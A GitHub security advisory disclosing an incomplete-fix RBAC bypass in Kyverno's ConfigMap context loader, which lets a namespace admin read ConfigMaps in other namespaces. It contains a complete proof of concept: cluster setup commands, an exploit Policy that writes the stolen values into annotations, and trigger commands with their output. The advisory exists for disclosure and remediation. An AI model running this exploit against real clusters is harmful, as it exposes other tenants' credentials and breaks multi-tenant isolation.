GitHub Advisoryadvisory · Go

GHSA-cvq5-hhx3-f99p Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

HIGH Published 2026-04-16 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-41068
Ecosystem
Go
Packages
github.com/kyverno/kyverno
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weaknesses
CWE-863
Reviewed
2026-04-16

Affected packages

• Go github.com/kyverno/kyverno: <= 1.17.1 (no fix yet)

Description

Summary CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. Details Root cause: The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs no namespace validation on the `namespace` field. Code path comparison: | | CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |--|---|---| | Location | `apiCall.URLPath` field | `configMap.namespace` field | | Code path | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation | | Root cause | Variable substitution + missing validation | Same pattern, still unpatched | Exploit mechanism: 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses `context.configMap.namespace: "victim-ns"` to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations Affected code: `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace. PoC Full reproduction (5 minutes on `kind`): ```bash !/bin/bash Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin Error: Forbidden (expected) ``` Exploit policy: ```yaml Apply as namespace admin apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: • name: steal-configmap match: any: • resources: kinds: [ConfigMap] names: ["trigger-cm"] context: • name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}" ``` Trigger and exfiltrate: ```bash Trigger policy (as namespace admin) kubectl apply -f - <<EOF apiVersion: v1 kind: ConfigMap metadata: name: trigger-cm namespace: attacker-ns data: innocent: "data" EOF Read exfiltrated secrets kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \ --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool Output: { "exfil-api-key": "AKIAIOSFODNN7EXAMPLE", "exfil-db-password": "s3cr3t-p4ssw0rd" } ``` Result: Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access. Impact Severity: HIGH (CVSS 7.7) Who is affected: • Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) • Multi-tenant clusters where ConfigMaps contain sensitive data • Azure Kubernetes Service (AKS) and other managed K8s using Kyverno Attack prerequisites: • Namespace admin privileges (standard RBAC in multi-tenant clusters) • Ability to create Kyverno Policy resources (default for namespace admins) • No cluster-admin required What can be exfiltrated: • Any ConfigMap from any namespace • Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps Why this matters: • Namespace isolation is a fundamental Kubernetes security boundary • Namespace admin is an expected, common RBAC level in production multi-tenant clusters • Violates the principle of least privilege and breaks multi-tenancy guarantees Suggested fix: Apply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`: 1. Pass `policyNamespace` to `NewConfigMapLoader()` 2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace` 3. Return error if validation fails Also audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern. Tested versions: • Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) • Helm chart: 3.7.0 • Kubernetes: v1.35.0 (kind)

Related

Alias · CVE (1)

  • CVE-2026-41068 Kyverno is a policy engine designed for cloud native platform engineering teams. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References